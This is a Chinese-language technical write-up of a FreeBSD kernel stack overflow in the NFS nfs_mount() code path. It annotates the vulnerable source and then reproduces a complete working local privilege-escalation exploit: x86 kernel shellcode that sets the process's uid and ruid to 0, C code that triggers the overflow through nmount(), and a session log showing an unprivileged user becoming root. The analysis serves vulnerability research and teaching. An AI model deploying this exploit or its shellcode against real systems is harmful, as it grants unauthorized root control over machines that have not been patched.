|
最近freebsd爆出了2个内核本地提权漏洞, 一个内核堆栈溢出, 一个内核堆溢出, 2个漏洞都是Patroklos Argyroudis大牛发现的, 前个漏洞给出了exploit代码, 后面一个只给出了一个crash kernel的poc。Patroklos Argyroudis在09年的phrack66期杂志中,就讲述了如何exploit freebsd内核堆溢出的文章: 《Exploiting UMA, FreeBSD's kernel memory allocator》, 里面有一个poc的例子来讲述如何写exploit代码。先前提到的第2个内核堆溢出, 他说自己已经写出了一个可利用的exploit代码, 但是最近不会公开出来,因为目前攻击freebsd内核堆溢出的exploit代码还没有人公开过。 这位大牛在今年的欧洲blackhat大会上也有一篇关于freebsd内核溢出技术的讲座:《Binding the Daemon: FreeBSD Kernel Stack and Heap Exploitation》 有兴趣的朋友可以仔细看看, freebsd的内核堆栈和堆溢出是跟linux的都大同小异的。 本次先分析下内核堆栈溢出的漏洞, 受影响版本为FreeBSD 8.0, 7.3 and 7.2。我看的是freebsd7.3的代码: /usr/src/sys/nfsclient/nfs_vfsops.c: 问题出在nfs_mount()系统调用上: static int nfs_mount(struct mount *mp, struct thread *td) { ... /* 如果nfs有参数通过nfs_args从用户空间传递进来, 那么内核需要将这些参数 拷贝进内核来, 注意把has_nfs_args_opt值设为1标记一下。 */ if (vfs_getopt(mp->mnt_optnew, "nfs_args", NULL, NULL) == 0) { error = vfs_copyopt(mp->mnt_optnew, "nfs_args", &args, sizeof args); if (error) goto out;
if (args.version != NFS_ARGSVERSION) { error = EPROGMISMATCH; goto out; }
has_nfs_args_opt = 1; }
... // 如果有"fh"属性, has_fh_opt就设为1 if (vfs_getopt(mp->mnt_optnew, "fh", (void **)&args.fh, &args.fhsize) == 0) { has_fh_opt = 1; } ...
if (has_nfs_args_opt) { /* 当前面2个条件都满足时, 内核调用copyin函数从用户空间拷贝数据进来, 但这里犯了一个错误args.fh,args.fhsize都是用户空间可以控制的数据, 并且没有做任何长度检查, args.fhsize设置不合理的话就会造成内核堆栈溢出 了。 */ if (!has_fh_opt) { error = copyin((caddr_t)args.fh, (caddr_t)nfh, args.fhsize); if (error) { goto out; } args.fh = nfh; } ... } 所以从上面的分析来看, 可以这样exploit: 1、设置nfs_args参数。 2、不要设置fh属性。 3、多尝试几次args.fhsize的值, 来精确定位溢出点的位置。
看下Patroklos Argyroudis的exploit代码:
/* 溢出点在离esp + 268的地方 */ #define BUFSIZE 272
#define FSNAME "nfs" #define DIRPATH "/tmp/nfs"
/* 这个内核shellcode写的非常高效简洁, 通过%fs:0得到当前线程struct thread的结构 movl 0x4(%eax), %eax得到当前进程struct proc的结构, movl 0x30(%eax),%eax得struct ucred的结构, xorl %ecx, %ecx ecx清0 movl %ecx, 0x4(%eax) urced.uid设为0 %ecx, 0x8(%eax) urced.rid设为0 struct pcpu { struct thread *pc_curthread; /* Current thread */ ... };
struct thread { struct mtx *volatile td_lock; /* replaces sched lock */ struct proc *td_proc; /* (*) Associated process. */ ... }
struct ucred { u_int cr_ref; /* reference count */ #define cr_startcopy cr_uid uid_t cr_uid; /* effective user id */ uid_t cr_ruid; /* real user id */ uid_t cr_svuid; /* saved user id */ short cr_ngroups; /* number of groups */ gid_t cr_groups[NGROUPS]; /* groups */ gid_t cr_rgid; /* real group id */ gid_t cr_svgid; /* saved group id */ ... }
struct proc { LIST_ENTRY(proc) p_list; /* (d) List of all processes. */ TAILQ_HEAD(, thread) p_threads; /* (j) all threads. */ TAILQ_HEAD(, kse_upcall) p_upcalls; /* (j) All upcalls in the proc. */ struct mtx p_slock; /* process spin lock */ struct ucred *p_ucred; /* (c) Process owner's identity. */ ... }
上面是提权的部分, 了解内核溢出的朋友应该知道提权完毕之后, 必须让内核继续稳定的运行, linux下面用到的方法是重新设置用户的cs,ss,eip, cflags值, 然后用iret指令强制退出本次 系统调用。 freebsd下的这个exploit用到了一个创新的方法,不用iret这种不稳定的方法, 采用 的方法是:恢复堆栈, 在调用ret直接返回到上层函数中。 这个方法简单高效, 但不通用,因为你要 手工反汇编每个有问题的函数,适当的调整堆栈恢复的大小。
unsigned char kernelcode[] = "\x64\xa1\x00\x00\x00\x00" /* movl %fs:0, %eax */ "\x8b\x40\x04" /* movl 0x4(%eax), %eax */ "\x8b\x40\x30" /* movl 0x30(%eax),%eax */ "\x31\xc9" /* xorl %ecx, %ecx */ "\x89\x48\x04" /* movl %ecx, 0x4(%eax) */ "\x89\x48\x08" /* movl %ecx, 0x8(%eax) */ "\x81\xc4\xb0\x01\x00\x00" /* addl $0x1b0, %esp */ "\x5b" /* popl %ebx */ "\x5e" /* popl %esi */ "\x5f" /* popl %edi */ "\x5d" /* popl %ebp */ "\xc3"; /* ret */
int main() { char *ptr; long *lptr; struct nfs_args na; struct iovec iov[6];
na.version = 3; na.fh = calloc(BUFSIZE, sizeof(char));
if(na.fh == NULL) { perror("calloc"); exit(1); }
memset(na.fh, 0x41, BUFSIZE); na.fhsize = BUFSIZE;
/* 填充ebp, eip */ ptr = (char *)na.fh; lptr = (long *)(na.fh + BUFSIZE - 8);
*lptr++ = 0x12345678; /* saved %ebp */ *lptr++ = (u_long)ptr; /* saved %eip */
memcpy(ptr, kernelcode, (sizeof(kernelcode) - 1));
mkdir(DIRPATH, 0700);
iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1;
iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1;
iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1;
iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1;
iov[4].iov_base = "nfs_args"; iov[4].iov_len = strlen(iov[4].iov_base) + 1;
iov[5].iov_base = &na; iov[5].iov_len = sizeof(na);
printf("[*] calling nmount()\n");
if(nmount(iov, 6, 0) < 0) { fprintf(stderr, "[!] nmount error: %d\n", errno); perror("nmount"); rmdir(DIRPATH); free(na.fh); exit(1); }
printf("[*] unmounting and deleting %s\n", DIRPATH);
unmount(DIRPATH, 0); rmdir(DIRPATH); free(na.fh);
return 0; } $ id uid=1001(wzt) gid=1001(wzt) groups=1001(wzt) $ ./exp [*] calling nmount() [!] nmount error: -1016471040 nmount: Unknown error: -1016471040 $ id uid=0(root) gid=0(wheel) egid=1001(wzt) groups=1001(wzt) $
|
|
|